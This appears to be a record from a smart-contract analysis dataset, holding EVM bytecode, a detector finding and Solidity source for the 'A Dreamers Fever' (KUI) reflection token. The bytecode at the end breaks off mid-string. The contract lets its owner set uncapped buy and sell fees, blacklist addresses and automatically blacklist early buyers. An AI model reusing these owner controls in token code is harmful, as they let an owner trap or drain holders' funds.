0x6080604052600436106100d75763ffffffff60e060020a60003504166306fdde0381146100eb578063095ea7b31461017557806318160ddd146101ad57806323b872dd146101d4578063313ce567146101fe57806341554a2e1461022957806354fd4d5014610241578063654b31101461025657806370a082311461026b5780638da5cb5b1461028c57806395d89b41146102bd578063a9059cbb146102d2578063b870f613146102f6578063cae9ca511461031a578063dd62ed3e14610383578063f2fde38b146103aa578063f444ea30146103cb575b3480156100e357600080fd5b50600080fd5b005b3480156100f757600080fd5b506101006103e0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013a578181015183820152602001610122565b50505050905090810190601f1680156101675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018157600080fd5b50610199600160a060020a036004351660243561046e565b604080519115158252519081900360200190f35b3480156101b957600080fd5b506101c26104d5565b60408051918252519081900360200190f35b3480156101e057600080fd5b50610199600160a060020a03600435811690602435166044356104db565b34801561020a57600080fd5b506102136105b6565b6040805160ff9092168252519081900360200190f35b34801561023557600080fd5b506101996004356105bf565b34801561024d57600080fd5b50610100610651565b34801561026257600080fd5b506101996106ac565b34801561027757600080fd5b506101c2600160a060020a03600435166106ba565b34801561029857600080fd5b506102a16106d5565b60408051600160a060020a039092168252519081900360200190f35b3480156102c957600080fd5b506101006106e4565b3480156102de57600080fd5b50610199600160a060020a036004351660243561073f565b34801561030257600080fd5b50610199600160a060020a03600435166024356107c6565b34801561032657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610199948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108809650505050505050565b34801561038f57600080fd5b506101c2600160a060020a0360043581169060243516610a1b565b3480156103b657600080fd5b506100e9600160a060020a0360043516610a46565b3480156103d757600080fd5b50610199610adb565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104665780601f1061043b57610100808354040283529160200191610466565b820191906000526020600020905b81548152906001019060200180831161044957829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60005481565b600160a060020a03831660009081526001602052604081205482118015906105265750600160a060020a03841660009081526002602090815260408083203384529091529020548211155b80156105325750600082115b156105ab57600160a060020a0380841660008181526001602090815260408083208054880190559388168083528483208054889003905560028252848320338452825291849020805487900390558351868152935192939192600080516020610af48339815191529281900390910190a35060016105af565b5060005b9392505050565b60055460ff1681565b600354600090600160a060020a031633146105d957600080fd5b600854610100900460ff1615156105ef57600080fd5b600082116105fc57600080fd5b33600090815260016020526040812080548401905554610622908363ffffffff610ae416565b506040805183815290513391600091600080516020610af48339815191529181900360200190a3506001919050565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104665780601f1061043b57610100808354040283529160200191610466565b600854610100900460ff1681565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104665780601f1061043b57610100808354040283529160200191610466565b33600090815260016020526040812054821180159061075e5750600082115b156107be5733600081815260016020908152604080832080548790039055600160a060020a0387168084529281902080548701905580518681529051929392600080516020610af4833981519152929181900390910190a35060016104cf565b5060006104cf565b600354600090600160a060020a031633146107e057600080fd5b60085460ff1615156107f157600080fd5b600160a060020a03831660009081526001602052604090205482118015906108195750600082115b151561082457600080fd5b600160a060020a038316600081815260016020908152604080832080548790039055338084529281902080548701905580518681529051929392600080516020610af4833981519152929181900390910190a350600192915050565b336000818152600260209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b838110156109c05781810151838201526020016109a8565b50505050905090810190601f1680156109ed5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610a1157600080fd5b5060019392505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610a5d57600080fd5b600160a060020a0381161515610a7257600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60085460ff1681565b6000828201838110156105af57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582042f49358f77dc5b41cdacaa067670bfe1b3234bbd489fc8dcbb13acd9063c3aa0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,922 |
0xfc49fab998e4BD164462b71723A6CF3E38D9D98a
|
/**
teh noses to smell 🌹
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ADreamersFever is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "A Dreamers Fever";//
string private constant _symbol = "KUI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 0;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 0;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x6Ec6af6Bd0051D65E656BEbF694511e68f8eF933);//
address payable private _marketingAddress = payable(0x6Ec6af6Bd0051D65E656BEbF694511e68f8eF933);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044757806395d89b411461045d57806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103f35780638da5cb5b146104095780638f70ccf71461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101ab5780631694505e1461027957806318160ddd146102b157806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024957600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6a565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152601081526f2090223932b0b6b2b939902332bb32b960811b60208201525b6040516102409190611c9c565b60405180910390f35b34801561025557600080fd5b50610269610264366004611aba565b610689565b6040519015158152602001610240565b34801561028557600080fd5b50601554610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50683635c9adc5dea000005b604051908152602001610240565b3480156102e357600080fd5b506102696102f2366004611a79565b6106a0565b34801561030357600080fd5b506102c960195481565b34801561031957600080fd5b5060405160098152602001610240565b34801561033557600080fd5b50601654610299906001600160a01b031681565b34801561035557600080fd5b506101fc610364366004611a06565b610709565b34801561037557600080fd5b506101fc610384366004611c36565b610754565b34801561039557600080fd5b506101fc61079c565b3480156103aa57600080fd5b506102c96103b9366004611a06565b6107e7565b3480156103ca57600080fd5b506101fc610809565b3480156103df57600080fd5b506101fc6103ee366004611c51565b61087d565b3480156103ff57600080fd5b506102c960175481565b34801561041557600080fd5b506000546001600160a01b0316610299565b34801561043357600080fd5b506101fc610442366004611c36565b6108ac565b34801561045357600080fd5b506102c960185481565b34801561046957600080fd5b506040805180820190915260038152624b554960e81b6020820152610233565b34801561049557600080fd5b506101fc6104a4366004611c51565b6108f8565b3480156104b557600080fd5b506101fc6104c4366004611c6a565b610927565b3480156104d557600080fd5b506102696104e4366004611aba565b610965565b3480156104f557600080fd5b50610269610504366004611a06565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610972565b34801561053a57600080fd5b506101fc610549366004611ae6565b6109c6565b34801561055a57600080fd5b506102c960085481565b34801561057057600080fd5b506102c961057f366004611a40565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611c51565b610a67565b3480156105d657600080fd5b506101fc6105e5366004611a06565b610a96565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611cf1565b60405180910390fd5b60005b81518110156106855760016011600084848151811061064157610641611e38565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067d81611e07565b915050610620565b5050565b6000610696338484610b80565b5060015b92915050565b60006106ad848484610ca4565b6106ff84336106fa85604051806060016040528060288152602001611e7a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611262565b610b80565b5060019392505050565b6000546001600160a01b031633146107335760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077e5760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d157506014546001600160a01b0316336001600160a01b0316145b6107da57600080fd5b476107e48161129c565b50565b6001600160a01b03811660009081526002602052604081205461069a90611321565b6000546001600160a01b031633146108335760405162461bcd60e51b815260040161061490611cf1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a75760405162461bcd60e51b815260040161061490611cf1565b601755565b6000546001600160a01b031633146108d65760405162461bcd60e51b815260040161061490611cf1565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109225760405162461bcd60e51b815260040161061490611cf1565b601955565b6000546001600160a01b031633146109515760405162461bcd60e51b815260040161061490611cf1565b600993909355600b91909155600a55600c55565b6000610696338484610ca4565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107e7565b90506107e4816113a5565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161061490611cf1565b60005b82811015610a61578160056000868685818110610a1257610a12611e38565b9050602002016020810190610a279190611a06565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611e07565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161061490611cf1565b601855565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161061490611cf1565b6001600160a01b038116610b255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610df857506000546001600160a01b03838116911614155b1561115b57601654600160a01b900460ff16610e91576000546001600160a01b03848116911614610e915760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610ee35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2557506001600160a01b03821660009081526011602052604090205460ff16155b610f7d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b600854610f8b906002611d97565b4311158015610fa757506016546001600160a01b038481169116145b8015610fc157506015546001600160a01b03838116911614155b8015610fd657506001600160a01b0382163014155b15610fff576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110845760185481611021846107e7565b61102b9190611d97565b106110845760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b600061108f306107e7565b6019546017549192508210159082106110a85760175491505b8080156110bf5750601654600160a81b900460ff16155b80156110d957506016546001600160a01b03868116911614155b80156110ee5750601654600160b01b900460ff165b801561111357506001600160a01b03851660009081526005602052604090205460ff16155b801561113857506001600160a01b03841660009081526005602052604090205460ff16155b1561115857611146826113a5565b478015611156576111564761129c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119d57506001600160a01b03831660009081526005602052604090205460ff165b806111cf57506016546001600160a01b038581169116148015906111cf57506016546001600160a01b03848116911614155b156111dc57506000611256565b6016546001600160a01b03858116911614801561120757506015546001600160a01b03848116911614155b1561121957600954600d55600a54600e555b6016546001600160a01b03848116911614801561124457506015546001600160a01b03858116911614155b1561125657600b54600d55600c54600e555b610a618484848461152e565b600081848411156112865760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611df0565b95945050505050565b6013546001600160a01b03166108fc6112b683600261155c565b6040518115909202916000818181858888f193505050501580156112de573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f983600261155c565b6040518115909202916000818181858888f19350505050158015610685573d6000803e3d6000fd5b60006006548211156113885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b600061139261159e565b905061139e838261155c565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ed576113ed611e38565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114799190611a23565b8160018151811061148c5761148c611e38565b6001600160a01b0392831660209182029290920101526015546114b29130911684610b80565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114eb908590600090869030904290600401611d26565b600060405180830381600087803b15801561150557600080fd5b505af1158015611519573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153b5761153b6115c1565b6115468484846115ef565b80610a6157610a61600f54600d55601054600e55565b600061139e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e6565b60008060006115ab611714565b90925090506115ba828261155c565b9250505090565b600d541580156115d15750600e54155b156115d857565b600d8054600f55600e805460105560009182905555565b60008060008060008061160187611756565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163390876117b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166290866117f5565b6001600160a01b03891660009081526002602052604090205561168481611854565b61168e848361189e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d391815260200190565b60405180910390a3505050505050505050565b600081836117075760405162461bcd60e51b81526004016106149190611c9c565b5060006112938486611daf565b6006546000908190683635c9adc5dea00000611730828261155c565b82101561174d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117738a600d54600e546118c2565b925092509250600061178361159e565b905060008060006117968e878787611917565b919e509c509a509598509396509194505050505091939550919395565b600061139e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611262565b6000806118028385611d97565b90508381101561139e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b600061185e61159e565b9050600061186c8383611967565b3060009081526002602052604090205490915061188990826117f5565b30600090815260026020526040902055505050565b6006546118ab90836117b3565b6006556007546118bb90826117f5565b6007555050565b60008080806118dc60646118d68989611967565b9061155c565b905060006118ef60646118d68a89611967565b90506000611907826119018b866117b3565b906117b3565b9992985090965090945050505050565b60008080806119268886611967565b905060006119348887611967565b905060006119428888611967565b905060006119548261190186866117b3565b939b939a50919850919650505050505050565b6000826119765750600061069a565b60006119828385611dd1565b90508261198f8583611daf565b1461139e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b80356119f181611e64565b919050565b803580151581146119f157600080fd5b600060208284031215611a1857600080fd5b813561139e81611e64565b600060208284031215611a3557600080fd5b815161139e81611e64565b60008060408385031215611a5357600080fd5b8235611a5e81611e64565b91506020830135611a6e81611e64565b809150509250929050565b600080600060608486031215611a8e57600080fd5b8335611a9981611e64565b92506020840135611aa981611e64565b929592945050506040919091013590565b60008060408385031215611acd57600080fd5b8235611ad881611e64565b946020939093013593505050565b600080600060408486031215611afb57600080fd5b833567ffffffffffffffff80821115611b1357600080fd5